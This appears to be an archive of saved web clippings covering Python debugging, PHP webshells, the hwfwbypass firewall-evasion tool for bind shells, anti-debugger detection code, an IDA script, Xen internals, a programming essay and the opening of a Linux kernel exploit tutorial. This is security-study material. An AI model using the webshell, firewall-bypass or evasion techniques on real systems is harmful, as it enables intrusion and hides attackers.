    (Pdb) objgraph.show_backrefs([obj], max_depth=10)
    Graph written to objects.dot (135 nodes)
    Image generated as objects.png
    
    
[/code]

Here’s the cycle we’re looking for:

<img src='img/Temp2_8428.png' width='250' alt='NonBlockingConnection object
references' />

To fix this issue it’s enough to break the reference loops in one place. This
is the code that fixes the reference loops:

[code]

            # we don't need channel and connection any more
            channel.close()
            connection.close()
            # remove the reference cycles:
            del channel.callbacks
            del connection.channels
            del connonection.connection
    
    
[/code]

by

    marek
on

    14/11/08

# PHP WebShells

**Created:**| _5/7/2017 10:11:51 AM_  
---|---  
**Updated:**| _5/7/2017 10:11:51 AM_  
**Author:**| __  
**Tags:**| _web-app-sec awareness_  
  

  

# php-webshells

<img src='img/hacker-1000x750.jpg' width='576' height='432' />

## webshells

PHP Shell is a shell wrapped in a PHP script. It’s a tool you can use to
execute arbitrary shell-commands or browse the filesystem on your remote
webserver. This replaces, to a degree, a normal telnet connection, and to a
lesser degree a SSH connection.

You use it for administration and maintenance of your website, which is often
much easier to do if you can work directly on the server. For example, you
could use PHP Shell to unpack and move big files around. All the normal
command line programs like ps, free, du, df, etc… can be used.

A **backdoor shell** is a malicious piece of code \(e.g. PHP, Python, Ruby\)
that can be uploaded to a site to gain access to files stored on that site.
Once it is uploaded, the hacker can use it to edit, delete, or download any
files on the site, or upload their own.

## How to upload

  * Hackers usually take advantage of an upload panel designed for uploading images onto sites. This is usually found once the hacker has logged in as the admin of the site. Shells can also be uploaded via exploits or remote file inclusion.

## Uses

  * Shells have many uses. They can be used to edit the webserver directory index page of site, and then hackers can leave their mark or “deface” for visitors to the site to see when they go to the homepage. Hackers may also use it to bruteforce FTP or cPanel, allowing them more access to the website. Shells can also be used to gain root access to the site. Some hackers may choose to host malware or spyware on the sites they have uploaded their shell to using various exploits.

  * **Please be noted that much of shell contains malwares and ‘Mark / deface page’ might contain malwares to obtain visitor\`s password as well .**

## Prevention

  * To prevent a site from having a shell uploaded onto it, a webmaster must always keep up with the latest security updates and make sure to have a secure admin panel. They must also make sure that if they do have an admin panel they make sure it only permits the user to upload .jpeg, .png, and other image file types only.
  * Also administrator need to make sure that there wont be any errors on your PHP code / dummy files are successfully removed from the cpanel . Also please be informed that some of them use other methods such as Keyloggers, or other things rather than doing backdoor shell .

### **Do not host the file\(s\) on your server\!**

  

# MRGEffitas/hwfwbypass · GitHub

**Created:**| _8/11/2014 9:32:58 AM_  
---|---  
**Updated:**| _8/11/2014 9:32:58 AM_  
**Author:**| __  
**Tags:**| _shellcode Exploit programming Obfuscation backdoor payload_  
  

# hwfwbypass

This program can be used to bypass/fool hardware firewalls. The program has to
be started with administrator level privileges on a server. When a client
connects from the TCP source port specified in the client\_sourceport
parameter, to the TCP destination port original\_dstport. the kernel driver
will redirect the traffic to the new\_dstport on the server. This trick is
useful when the restrictive firewall is blocking bind shells, or thwarting log
analysis, because all traffic will use legitimate service port.

usage: hwfwbypass.exe client\_sourceport original\_dstport new\_dstport
\[disablechecksum\] \[debug\] examples: hwfwbypass.exe 1337 3389 31337
hwfwbypass.exe 1337 3389 31337 disablechecksum debug

disablechecksum: when this parameter is set, it will disable the calculation
of the TCP or IP checksums. It is useful when the network adapter driver does
the checksum calculations \(offload\).

debug: print debug info on the screen about the original and modified traffic.

Compilation notes: Download
http://reqrypt.org/download/WinDivert-1.1.4-MSVC.zip or later from
http://reqrypt.org/windivert.html Update packages in windivert\_32\_lib or
windivert\_x64\_lib Copy the compiled windivert files \(dll, sys\) to the
compiled hwfwbypass directory \(32/64, debug/release\)

Known problems, errors:

error: failed to open the WinDivert device \(5\)

solution: Start the executable with administrator level privileges. Check if
the DLL and SYS file is in the same directory.

* * *
error: msvcrxxx.dll is missing:

solution: Download the corresponding Microsoft Visual Studio redistributable
files, and either install it, or put the DLL's in the same directory where the
hwfwbypass binary is. msvcr110.dll -> Visual studio 2012 msvcr120.dll ->
Visual studio 2013 Always install the same architecture \(32/64 bit\) of the
DLL as it is the binary. Additional information: the windivert dll file has
been compiled with VS2012, and hwfwbypass has been compiled with VS2013

Limitations:

  1. The bind shell should listen on the same interface where the service with original\_dstport listens. The driver can't forward the traffic to the "non-existent" loopback interface.
  2. Only TCP traffic is supported at the moment.

# RE: Infer debugger presense by counting context switches and cycle time

**Created:**| _3/6/2013 8:18:18 AM_  
---|---  
**Updated:**| _3/6/2013 8:18:18 AM_  
**Author:**| __  
**Tags:**| _Debugging drm_  
  

### Infer debugger presense by counting context switches and cycle time

For each thread quantum \(in this case, the time that a single logical thread
gets on a physical processor\), windows will keep track of each time
KiSwapContext is called and returns to the saved thread state \(stack,
registers\) for that thread. Each time this happens, SwapContext will
increment the ContextSwitchCount member of the KTHREAD structure. We will be
using the following native API's:  
  
NtQuerySystemInformation  
NtQueryInformationThread  
  
I recommend using 2 threads for probing ContextSwitchCount as an anti-debug
mechanism, it's not required but otherwise you have to ensure the current
thread is near the beginning of it's cycle time. Otherwise a context switch
could occur at the next DPC interrupt. As for probing cycle time itself as an
anti-debug mechanism, 2 threads is required.  
  
First I will explain probing ContextSwitchCount then afterwards, the thread
cycle time.  
  
Step 1 is to create an additional thread in our application. These will be
extremely simple and vague examples ;p  
  
  
All this thread will do is wait on a synchronization object.  
  
ULONG Waiter\(HANDLE event1\)  
\{  
WaitForSingleObject\(event1,INFINITE\);  
\}  
  
int main\(\)  
\{  
HANDLE event1=CreateEvent\(NULL,FALSE,FALSE,NULL\);  
  
  
CreateThread\(NULL,0,\(LPTHREAD\_START\_ROUTINE\)Waiter,\(LPVOID\)event1,0,NULL\);  
  
  
//...  
  
//...  
\}  
  
Step 2. We will call NtQuerySystemInformation and locate our
SYSTEM\_PROCESS\_INFORMATION structure. We will then navigate to the
SYSTEM\_THREAD\_INFORMATION structure for the thread we have just created. We
will wait until it has entered a waiting state \(0x5\). Once we have
established that the thread is waiting, we will store it's ContextSwitchCount.  
  
int main\(\)  
\{  
//...  
//...  
  
SYSTEM\_PROCESS\_INFORMATION &pi;  
SYSTEM\_THREAD\_INFORMATION &ti;  
ULONG SwitchCount;  
  
  
//Call NtQuerySystemInformation. Assign a structure pointer.  
  
  
do  
\{  
NtQuerySystemInformation\(SystemProcessandThreadInformation,&heapbuffer,heapbuffersize,&len\);  
  
\} while\(ti->ThreadState\!=0x5\);  
  
  
SwitchCount=ti->ContextSwitches;  
  
\}  
  
Like I said, vague examples ;p  
  
  
Step 3. At this point we have established the fact that our secondary thread
is waiting on our synchronization object. We have also stored and saved it's
last ContextSwitchCount. When a thread is waiting on a synchronization object,
it is not added to the ready queue until either a kernel APC is queued to the
thread, or the sync object is signaled.  
  
In our main thread we will trigger an exception, this can be anything. For the
sake of simplicity we will just use int3.  
  
  
int main\(\)  
\{  
//...  
//...  
  
  
\_asm  
\{  
push handler  
push fs:\[0x0\]  
mov fs:\[0x0\], esp  
int 3  
\}  
\}  
  
I don't really know why I'm putting a code example for that one, but there it
is. At this point, lets assume since int3 is a trap exception, \(but even
though SEH uses ExceptionAddress, so EIP-1\), we advance our instruction
pointer ahead one byte, then resume execution.  
  
  
Step 4. We once again call NtQuerySytemInformation and walk through the
SystemProcessandThreadInformation buffer to locate our process and our waiting
thread, and probe it's context switch count.  
  
int main\(\)  
\{  
//...  
//...  
  
//...  
  
//Call NtQuerySystemInformation, walk buffer to our thread data  
  
if\(ti->ContextSwitches>SwitchCount\)  
\{  
//debugger detected, do something  
\}  
  
\}  
  
As you can see, we compare our waiting thread's current context switch count
to the previous value we probed. If it is higher, a debugger was attached to
the process when we generated our exception and here is why:  
  
When a thread generates an exception and a debug port is present for the
process, it calls DbgkSuspendProcess to suspend all remaining threads in the
process, while the thread that generated the exception will go on to wait on
the debug object's synchronization mutex until the debugger continues the
exception.  
  
The context switch count is incremented because thread suspension is done via
kernel APC's. As stated earlier, the waiting thread will be entered into the
ready queue in one of 2 cases. Kernel APC's or the object being signaled. The
same goes for cycle time. Using the above logic, we can probe the thread's
cycle time, generate an exception and then probe it again. If incremented, a
debugger is present. To probe cycle time we use NtQueryInformationThread with
an infoclass of 0x17.  
  
If no debugger is present, the faulting thread does not suspend remaining
threads in wait for the debugger, instead it will resume its execution at
KiUserExceptionDispatcher, and the thread we probed which is waiting on the
synchronization object will have it's context switch count and cycle time
unchanged.

# Expert: Miami: Script IDA python du samedi

**Created:**| _6/9/2011 6:43:14 PM_  
---|---  
**Updated:**| _6/9/2011 6:43:25 PM_  
**Author:**| __  
**Tags:**| _python iDA programming_  
  

##

### Script IDA python du samedi

Dans IDA, je cherche souvent comment arriver a une fonction depuis d'autres
fonctions que j'ai analyse. Halvar dirait que BinNavi est fait pour ca, mais
personnellement, vu que je suis vieux et refractaire au progres, j'utilise
generalement la fonctionnalite de graphe de IDA \(View -> Graph -> User xref
chart...\), qui utilise toujours en 2011 le tres laid wingraph.exe.  

  

Tout va bien lorsque votre fonction est appelee 2 fois par des fonctions
elles-meme appelees 2 fois, etc. On retrouve facilement ce que l'on cherche.
Par contre, lorsque votre fonction est appelee 42 fois par des fonctions
elles-meme appelees 42 fois, ca devient bordelique.

  

Lorsque j'audite, je renomme toutes les fonctions que j'analyse avec un
prefixe particulier \('imm'\).Je me suis donc decide a ecrire un script
idapython recherchant les recursivement les references en applicant une
expression reguliere \('^imm'\) sur le nom des fonctions. Le resultat est un
graphe epure ne contenant que les chemins que je cherchais \(provenant d'une
fonction analysee vers la fonction ciblee\). Au final ca a pris 15 minutes et
ca l'air de marcher.

  

<img src='img/Temp2_2821.png' width='320' height='40' />

  

Ce premier graphe correspond a une profondeur maximale de 2, sans expression
reguliere appliquee, vers la fonction ciblee: c'est le bordel.

  

<img src='img/Temp2_2822.png' />

Ce second graphe correspond a une profondeur maxiumale de 8, avec expression
reguliere '^imm', vers le meme fonction ciblee: c'est deja moins le bordel, et
tous les blocs initiaux respectent effectivement mon expression reguliere.  
  
J'aimerais bien remplacer le menu actuel Xref de IDA par quelque chose
utilisant une version plus developpee de ce code, histoire d'avoir les
Drefs/Crefs To et From avec application d'expressions regulieres. Ca me semble
representer plus de travail que je ne desire y consacrer \(surtout que je n'ai
jamais essaye de creer un dialogue\), mais si quelqu'un a du temps, amusez
vous.

  

Et voici le code \(de merde\):  
  

`from idaapi import GraphViewerimport re`  
`  
class CrefsToGraph(GraphViewer):  
def __init__(self,ea,regexp=None,max_depth=4):  
f=idaapi.get_func(ea)  
if not f:  
raise Exception('EA must be within a function')  
GraphViewer.__init__(self,'Crefs to %08x
(depth=%d,regexp=%s)'%(f.startEA,max_depth,regexp))  
self.crefs={}  
self.max_depth=max_depth  
self.regexp=regexp #if regexp is None, we display everything up to max_depth  
self.getCrefsTo(f.startEA)  
  
def getCrefsTo(self,ea,depth=1):  
self.crefs[ea]=[]  
found=False  
for c in CodeRefsTo(ea,1):  
f=idaapi.get_func(c)  
if not f:  
continue  
if self.regexp!=None and
re.search(self.regexp,GetFunctionName(f.startEA))!=None:  
self.crefs[ea].append(f.startEA)  
found=True  
continue #we do not go any further when we have a match  
if f.startEA not in self.crefs and f.startEA not in self.crefs[ea] and
depth<=self.max_depth:  
if self.regexp==None:  
self.crefs[ea].append(f.startEA)  
if self.getCrefsTo(f.startEA,depth+1)==True:  
self.crefs[ea].append(f.startEA) #with self.regexp==None, we never reach that  
found=True  
return found  
  
def OnRefresh(self):  
self.Clear()  
nodes={}  
for c in self.crefs:  
if len(self.crefs[c])==0:  
continue  
if c not in nodes:  
nodes[c]=self.AddNode(GetFunctionName(c))  
for x in self.crefs[c]:  
if x not in nodes:  
nodes[x]=self.AddNode(GetFunctionName(x))  
self.AddEdge(nodes[x],nodes[c])  
return True  
  
def OnGetText(self,node_id):  
return self[node_id]  
  
def OnDblClick(self, node_id):  
name=self[node_id]  
ea=LocByName(name)  
idc.Jump(ea)  
return True`  
`  
def main(ea):  
g=CrefsToGraph(ea,regexp='^imm',max_depth=8)  
#g=CrefsToGraph(ea,max_depth=2)  
g.Show()`  
`  
main(ScreenEA())`

  

**Edit** : desole je suis infoutu de formater le code proprement.

# Saferwall - Virtualization Internals Part 3 - Xen and Paravirtualization

**Created:**| _9/23/2018 8:46:52 AM_  
---|---  
**Updated:**| _9/23/2018 8:46:52 AM_  
**Author:**| _wishi_  
**Tags:**| _virtusalisation xen_  
  

  

Welcome to chapter 3 of virtualization internals. We have seen previously how
VMWare achieved full virtualization using binary translation. In this chapter,
we will explore another technique of virtualization referred as
paravirtualization. One major hypervisor vendor which leverages
paravirtualization is Xen.

  * Virtualization Internals Part 1 - Intro to Virtualization
  * Virtualization Internals Part 2 - VMWare and Full Virtualization using Binary Translation
  * Virtualization Internals Part 3 - Xen and Paravirtualization \(current\)

As with VMWare binary translation VMM, I would like to highlight that, what we
will be discussing in this chapter was specifically designed to virtualize x86
architecture before the introduction of hardware support for virtualization
\(VT-x and AMD-v\) \[2006\]. Xen's currently shipping VMMs are noticeably
different from its original design. Nevertheless, the knowledge you will learn
will extend your understading on virtualization and low level concepts.

## The Xen Phislosophy

Xen's first release goes back to 2003. The Xen folks noticed that full
virtualization using BT \(VMWare's solution\) have the nice benefit that it
can run virtual machines without a change in the guest OS code, so full
virtualization have the point when it comes to compatibility and portability,
however, there were negative influences on **performance** due to the use of
shadow page tables, and the VMM was too complexe.

For this reason, Xen created a new x86 virtual machine monitor which allows
multiple commodity operating systems to share conventional hardware in a safe
and resource managed fashion, but **without** sacrificing either performance
or functionality. This was achived by an approach dubbed `paravirtualization`.

Paravirtualization's big idea is to trade off small changes to the guest OS
for big improvements in performance and VMM simplicity. Although it does
require modifications to the guest operating system, It is important to note,
however, that it do not require changes to the `application binary interface
(ABI)`, and hence no modifications are required to guest ring3 applications.
When you have the source code for an OS such as linux or BSD,
paravirtualization is doable, but it becomes difficult to support closed-
source operating systems that are distributed in binary form only, such as
Windows. In the paper: `Xen and The Art Of Virtualization`, they mentionned
that there were an on going effort to port Windows XP to support
paravirtualization, but I don't know if they made it happen, if you have any
idea, please, let me know.

For the material of this course, you need to download xen source code here. We
choosed the major version 2 because after this release, they added support for
hardware assisted virtualization. Note that in this Xen terminology, we
reserve the term `domain` to refer to a running virtual machine within which a
guest OS executes. **Domain0** is the first domain started by the Xen
hypervisor at boot, and will be running a Linux OS. This domain is privileged:
it may access the hardware and can manage other domains. These other domains
are referred to as `DomUs`, the U standing for **user**. They are
unprivileged, and could be running any operating system that has been ported
to Xen.

## Protecting the VMM

In order to protect the VMM from OS misbehavior \(and domains from one
another\) guest OSes must be modified to run at a lower privilege level. So as
with VMWare, the guest kernel is **depriviliged** and occupies ring1, Xen
occupies ring0, and user mode applications keep running as usual in ring3. Xen
is mapped in every guest OS’s address space at the top 64 MB of memory, to
save a TLB flush. Virtual machine segments were truncated by the VMM to ensure
that they did not overlap with the VMM itself. User mode application ran with
truncated segments, and were additionally restricted by their own OS from
accessing the guest kernel region using page protection `pte.us`.

## Virtualizing the CPU

The first issue we have to deal with when it comes to virtualizing x86 is the
set of instructions \(we discussed about in first chapter\) that are not
classicaly virtualizable. Paravritualization involves modifying those
sentisive instructions that don’t trap to ones that will trap. In addition to
that, because all privileged state must be handled by Xen, privileged
instructions are paravirtualized by requiring them to be validated and
executed within Xen, any guest OS attempt to directly execute a privileged
instruction is failed by the processor, either silently or by taking a fault,
since only Xen executes at a sufficiently privileged level.

So whenever the guest needs to perform a priviliged operation \(such as
installing a new page table\), the guest uses a `hypercall` that jumps to Xen;
these are analogous to system calls but occur from ring 1 to ring 0. You can
think of `hypercalls` as an interface to allow user code to execute priviliged
operations in a way that can be controlled and managed by trusted code.

Hypercalls are invoked in a manner analogous to system calls in a conventional
operating system; a software interrupt is issued which vectors to an entry
point within Xen. On x86 _32 machines the instruction required is`int 0x82`
and on x86_64 `syscall`; the \(real\) IDT is setup so that this may only be
issued from within ring 1. The particular hypercall to be invoked is contained
in EAX — a list mapping these values to symbolic hypercall names can be found
in `xen/include/public/xen.h`.

<img src='img/gyHXQXC.png' width='auto' height='auto' alt='Xen Hypercalls
List' />

In version 2, Xen supported 23 hypercalls. The vector number of the hypercall
is placed in `eax`, and the arguments are placed into the rest of the general
purpose registers. For example, if the guest needs to invalidate a page, it
needs to issue `HYPERVISOR_mmu_update` hypercall, so eax will be set to 1.
`HYPERVISOR_mmu_update()` accepts a list of \(ptr, val\) pairs. For this
example:

  * ptr\[1:0\] specifies the appropriate MMU\_\* command, in this case: `MMU_EXTENDED_COMMAND`
  * val\[7:0\] specifies the appropriate MMU _EXTENDED_ COMMAND subcommand: in this case:`MMUEXT_INVLPG`
  * ptr\[:2\] specifies the linear address to be flushed from the TLB.

<img src='img/OLCW8eV.png' width='auto' height='auto' alt='Xen Hypercalls
List' />

Exceptions, including memory faults and software traps, are virtualized on x86
very straightforwardly. A `virtual IDT` is provided, a domain can submit a
table of trap handlers to Xen via **_HYPERVISOR_ set _trap_ table** hypercall.
Most trap handlers are identical to native x86 handlers because the exception
stack frames are unmodified in Xen's paravirtualized architecture, although
the page-fault handler is somewhat different. Here is the definition of the
virtual IDR submitted to the hypervisor, this consists of tuples \(interrupt
vector, privilege ring, CS:EIP of handler\).

<img src='img/UsTF8Mv.png' width='auto' height='auto' alt='Virtual IDT' />

The reason why the page fault handler is different, is because the handler
would normally read the faulting address from CR2 which requires ring 0
privilege; since this is not possible, Xen's write it into an extended stack
frame. When an exception occurs while executing outside ring 0, Xen’s handler
creates a copy of the exception stack frame on the guest OS stack and returns
control to the appropriate registered handler.

Typically only two types of exception occur frequently enough to affect system
performance: system calls \(which are usually implemented via a software
exception\), and page faults. Xen improved the performance of system calls by
allowing each domain to register a **fast** exception handler which is
accessed directly by the processor without indirecting via ring 0; this
handler is validated before installing it in the hardware exception table.

The file located at `linux-2.6.9-xen-sparse/arch/xen/i386/kernel/entry.S`
contains the system-call and fault low-level handling routines. Here is for
example the system call handler:

<img src='img/sX8y7IP.png' width='auto' height='auto' alt='System call
handler' />

Interrupts are virtualized by mapping them to events. Events are a way to
communicate from Xen to a domain in an asynchronous way using a callback
supplied via the `__HYPERVISOR_set_callbacks` hypercall. A guest OS can map
these events onto its standard interrupt dispatch mechanisms. Xen is
responsible for determining the target domain that will handle each physical
interrupt source.

## Virtualizing Memory

We have seen one technique before of virtualizing memory with VMWare using
`shadow page tables`. When using shadow page tables, the OS keeps its own set
of page tables, distinct from the set of page tables that are shared with the
hardware. the hypervisor traps page table updates and is repsonsible for
validating them and propagating changes to the hardware page tables and back.
This technique incur many `hypervisor-incuded page faults` \(hidden page
faults\) because it needs to ensure that the shadow page tables and the
guest’s page tables are in sync, and this is not cheap at all in term of
performance due to the cycles consumed during `world switchs` or `VM Exits`.

In the paravirtualization world, the situation is different. Rather than
keeping distinct page tables for Xen and for the OS, the guest OS is allowed
read only access to the real page tables. Page tables **updates** must still
go through the hypervisor \(via a hypercall\) rather than as direct memory
writes to prevent guest OSes from making unacceptable changes. That said, each
time a guest OS requires a new page table, perhaps because a new process is
being created, it allocates and initializes a page from its own memory
reservation and registers it with Xen. At this point the OS must relinquish
direct write privileges to the page-table memory: all subsequent updates must
be validated by Xen. Guest OSes may batch update requests to amortize the
overhead of entering the hypervisor.

## Virtualizing Devices

Obviously, the virtual machines cannot be trusted to handle devices by
themselves, otherwise, for example each guest OS could think it owns an entire
disk partition, and there may be many more virtual machines than there are
actual disk partitions. To prevent such behavior, the hypervisor needs to
intervene on all device access to prevent any malicious activity. There is
various approaches to virtualize devices, at the highest level, the choices
for virtualizing devices parallel the choices for virtualizing the CPU. Either
we could use `full virtualization / emulation` or use `paravirtualization`.

In `full virtualization / emulation`, the unprivileged guest has the illusion
that it is interacting with a dedicated device that is identical to the
underlying physical device. This generally works by taking an old and well
supported hardware device and emulate it in software. This has the advantage
that the guest does not need any special drivers because these old devices are
supported by any OS you can think of. The downside is it is hard to implement
such emulation correctly and securely. Statistics have proven that many
vulnerabilities exists in device emulation \(like in Qemu\), on top of that,
it is slow and you might not have support for advances features for the
device. Nowadays, devices are mostly paravirtualized because of performance
and usability, nevertheless, there are still some scenarios \(malware
sandboxes\) where you would find hardware assisted virtualisation \(HVM\) is
used with device emulation \(Qemu\) in Xen or KVM to avoid having any code
running inside the VM: less drivers running in the guest, less code to
fingerprint which means more slealth :\)

In `paravirtualization`, the idea is to provide a simplified device interface
to each guest. In this case, guests would realize the device had been modified
to make it simpler to virtualize and would need to abide by the new interface.
Not surprisingly, Xen's primary model for device virtualization is also
paravirtualization.

Xen exposes a set of clean and simple device abstractions. A privileged
domain, either Domain0 or a privileged driver domain, manages the actual
device and then exports to all other guests a generic class of device that
hides all the details or complexities of the specific physical device. For
example, rather than providing a `SCSI` device and an `IDE` device, Xen
provides an abstract block device. This supports only two operations: read and
write a block. This is implemented in a way that closely corresponds to the
POSIX `readv` and `writev` calls, allowing operations to be grouped in a
single request \(which allows I/O reordering in the Domain 0 kernel or the
controller to be used effectively\).

Unprivileged guests run a simplified device driver called `frontend driver`
while a privileged domain with direct access to the device runs a device
driver called `backend driver` that understands the low-level details of the
specific physical device. This division of labor is especially good for novel
guest OSs. One of the largest barriers to entry for a new OS is the need to
support device drivers for the most common devices and to quickly implement
support for new devices. This paravirtualized model allows guest OSs to
implement only one device driver for each generic class of devices and then
rely on the OS in the privileged domain to have the device driver for the
actual physical device. This makes it much easier to do OS development and to
quickly make a new OS usable on a wider range of hardware. This architecture
which Xen uses is known as `split driver model`.

<img src='img/hIotIkO.png' width='600px' height='auto' alt='Xen Split Driver
Model' />

The backend driver presents each frontend driver with the illusion of having
its own copy of a generic device. In reality, it may be multiplexing the use
of the device among many guest domains simultaneously. It is responsible for
protecting the security and privacy of data between domains and for enforcing
fair access and performance isolation. Common backend/frontend pairs include
`netback/netfront` drivers for network interface cards and `blkback/blkfront`
drivers for block devices such as disks.

An interesting problem which pops up now, how the data is shared between the
backend and the frontend driver ? Most mainstream hypervisors implements this
communication as `shared memory` built on top of `ring buffers`. This gives
the advantage of high-performance communication mechanism for passing buffer
information vertically through the PV drivers, because you don't have to move
the buffers arround in memory and make extra copies, and it is also easy to
implement. All hypervisors uses this model but they named it differently, in
Hyper-V for example, the backend is called `Virtualization Service Provider`
and the frontend `Virtualization Service Client`. KVM uses the `virtio`
mechanism.

<img src='img/FPZHFTj.png' width='600px' height='auto' alt='Ring Buffer' />

A ring buffer is a simple data structure that consists of preallocated memory
regions, each tagged with a descriptor. As one party writes to the ring, the
other reads from it, each updating the descriptors along the way. If the
writer reaches a “written” block, the ring is full, and it needs to wait for
the reader to mark some blocks empty.

To give you a quick idea of how these are used, you can look briefly at how
the virtual block device uses them. The interface to this device is defined in
the `xen/include/public/io/blkif.h` header file. The block interface defines
the `blkif_request_t` and `blkif_response_t` structures for requests and
responses, respectively. The shared memory ring structures are difned in the
following way:

<img src='img/QfDtzXE.png' width='600px' height='auto' alt='Block Interface'
/>

One last option in Xen is the ability to grant physical devices directly to an
unprivileged domain. This can be viewed as no virtualization at all. However,
if there is no support for virtualizing a particular device or if the highest
possible performance is required, granting an unprivileged guest direct access
to a device may be your only option. Of course, this means that no other
domain will have access to the device and also leads to the same portability
problems as with full virtualization. We will come back to this point in a
later chapter.

In this chapter, you have learned how Xen levarges paravirtualization to
virtualize the CPU and memory, in addition to that, we shed some lights over
device virtualization. Please remember that, for CPU and memory, the
techniques you learned till now including paravirtualization and binary-
translation are not used today, they are replaced with hardware assisted
virtualization which we will be looking at in the next chapter. Finally, we
are done talking about legacy stuff and we will move to something more
interesting :D I hope you have learned something from this. Last but not
least, I would like to thank all the authors behind the whitepapers in the
reference section for their great work.

## References

  * Xen and The Art of Virtualization
  * The Book of Xen
  * The Definite Guide To Xen Hypervisor.
  * Running Xen A Hands On Guide To The Art Of Virtualization.
  * The Xen Wiki: https://wiki.xenproject.org/wiki/Main\_Page

  

# The Myth of the Rockstar Programmer - Scott Hanselman

**Created:**| _10/2/2013 3:15:13 PM_  
---|---  
**Updated:**| _10/2/2013 3:15:13 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

# The Myth of the Rockstar Programmer****

September 29, '13 Comments \[8\] Posted in Musings

<img src='img/Temp2_8222.png' alt='There-is-an-I-in-TEAM' />

The Myth of the Rockstar Programmer is just that, a myth**.** It's an
unfortunate myth for a number of reasons.

  * It sets an unreasonable expectation for regular folks**.**
  * Calling out rockstars demotivates the team**.**
  * Telling someone they are a rockstar may cause them to actually believe it**.**

Reality is a normal distribution curve**.** Lots of good average senior
developers, some amazing outliers and some junior folks with potential**.**
\(and some folks that suck.\)

> Brooks's law : _Adding manpower to a late software project makes it
> later**.**_
### The Rockstar Developer is a Myth****

People love to say that a rockstar can do the work of 10 regular
engineers**.** That's just nonsense**.** 9 women can't have one baby in a
month, and 10 "rockstar" developers can't replace 100 regular ones**.**

I hate Quora  so I won't link to them, but here's a modification of a great
answer from Nate Waddoups that was taken from some internal engineering
paperwork:

  * Junior Engineer - Creates complex solutions to simple problems. 
  * Engineer - Creates simple solutions to simple problems. 
  * Senior Engineer - Creates simple solutions to complex problems. 
  * Rockstar Engineer - Makes complex problems _disappear_**.**

Am \*I\* a rockstar? I'm a competent Senior Engineer who is also loud**.**
I've been on a lot of successful projects in the last 20 years and I was never
the smartest guy in the room**.**

> Senior + Loud \!= Rockstar
In my experience, in fact..**.**

> Senior + Thoughtful == Rockstar
That may or may not include being loud**.** Just because someone has written a
blog, or a book, or speaks well doesn't mean they are a good developer**.**
You certainly don't want a diva. Diva Developers do more harm than good.

Are rockstars about lines of code**?** No, good developers solve problems.
More specifically, they make problems go away**.** They fix problems rather
than complaining about them**.**

### The Rockstar Team is Reality****

In fact, it's diversity of thought and experience in a team that makes a
**Rockstar Team -** that's what you really want**.** Put thoughtful and
experience architects with enthusiastic and positive engineers who are
learning and you'll get something**.** If you insist on calling someone a
rockstar, they are likely the team's teacher and mentor**.**

Jon Galloway says:

> Pairing "step back and think" devs with "crank a lot of pretty good code
> out" devs is a recipe for a good team**.**
Build smart, diverse teams. **Build rockstar teams****.**

**UPDATE:** I was just told about this post by shanley on the "10x
Engineer**.** " It's a great and detailed piece and you should check it
out**\!**

#### About Scott****

Scott Hanselman is a former professor, former Chief Architect in finance, now
speaker, consultant, father, diabetic, and Microsoft employee**.** I am a
failed stand-up comic, a cornrower, and a book author**.**

About  Newsletter

****

# Lexfo's security blog - CVE-2017-11176: A step-by-step Linux Kernel
exploitation \(part 3/4\)

**Created:**| _10/3/2018 10:29:40 PM_  
---|---  
**Updated:**| _10/3/2018 10:29:40 PM_  
**Author:**| __  
**Tags:**| __  
  

# Introduction

In the previous article, we implemented a _proof-of-concept_ that triggers the
bug from userland, dropping kernel modifications made with System Tap in part
1.

This article starts by introducing the memory subsystem and the SLAB
allocator. Those are such huge topics that **we strongly recommend the reader
to get the external resources pointed out**. Understanding them is absolutely
mandatory to exploit any kind of use-after-free or heap overflow bugs.

The basic theory about use-after-free will be explained, as well as the
information gathering steps required to exploit them. Next, we will try to
apply it to the bug and analyze different primitives available in our
particular bug. A reallocation strategy will be presented to turn the use-
after-free into an arbitrary call primitive. In the end, the exploit will be
able to panic the kernel in a controlled manner \(no random crash anymore\).

The technics exposed here are a common way to exploit a use-after-free in the
Linux Kernel \(type confusion\). Moreover, the way chosen to exploit the use-
after-free is the arbitrary call. Because of hardcoded stuff, the exploit
cannot be _targetless_ , nor bypass kASLR \(the kernel version of Address
Space Layout Randomization\).

Note that this very same bug might be exploited in various ways to gain other
primitives \(i.e. arbitrary read/write\) and bypass kaslr/smap/smep \(we will
bypass smep in part 4 however\). With the _proof-of-concept_ code in hands,
this is where you can actually be creative as an exploit writer.

In addition, kernel exploits run in a very chaotic environment. While it was
not a problem in previous articles, now it will \(cf. reallocation\). That is,
if there is one place where your exploit can fail \(because you've been
raced\), it will mostly be here. Reliable reallocation being an _open field_
subject, more _complex_ tricks cannot fit in this article.

Finally, because kernel data structure layout will matter now, and those being
different in the debug/production kernel, we will say goodbye to system tap as
it can't run on a production kernel. It means that we will need to use more
classic tools in order to debug the exploit. Furthermore, your structure
layouts will mostly be different from ours, **the exploit provided here won't
work on your system without modifications**.

Get ready to crash \(a lot\), this is where the fun begins :-\).

* * *
# Table of Contents

  * Core Concepts \#3
  * Use-after-free 101
  * Analyze the UAF \(cache, allocation, free\)
  * Analyze the UAF \(dangling pointers\)
  * Exploit \(Reallocation\)
  * Exploit \(Arbitrary Call\)
  * Conclusion

* * *
# Core Concepts \#3

The third "core concepts" section tries to introduce the memory subsystem
\(also called "mm"\). This is such a _vast_ subject that books exist to only
cover this part of the kernel. Because this section isn't self-sufficient, it
is recommended to read the following documentations. Nevertheless, it will
present core data structure of the Linux kernel used to manage memory so we
can be on the same page \(pun intended\).

  * Understanding the Linux Kernel \(chapters 2,8,9\)
  * Understanding The Linux Virtual Memory Manager
  * Linux Device Driver: Allocating Memory
  * OSDev: Paging

**At the very least, please the read thechapter 8 of "Understanding The Linux
Virtual Memory Manager"**.

In the end of this _core concept_ section, we will introduce the
**container\_of\(\)** macro and present a common usage of _doubly-linked
circular list_ in the Linux kernel. A basic example will be developed to
understand the **list\_for\_each\_entry\_safe\(\)** macro \(mandatory for the
exploit\).

## Physical Page Management

One of the most critical tasks of any operating system is to manage memory. It
has to be fast, secure, stable and minimize _fragmentation_. Unfortunately,
most of these goals are orthogonal \(security often implies performance
penalty\). For efficiency reasons, the physical memory is divided in a _fixed-
length_ block of contiguous memory. This block is called a **page frame** and
\(generally\) has a fixed size of 4096 bytes. It can be retrieved using the
_PAGE\_SIZE_ macro.

Because the kernel must handle memory, it has kept track of every physical
page frames as well as information about them. For instance, it has to know if
a particular page frame is free for use or not. This kind of information is
stored in a **struct page** data structure \(also called "Page Descriptor"\).

The kernel can request one or more contiguous pages with _alloc\_pages\(\)_
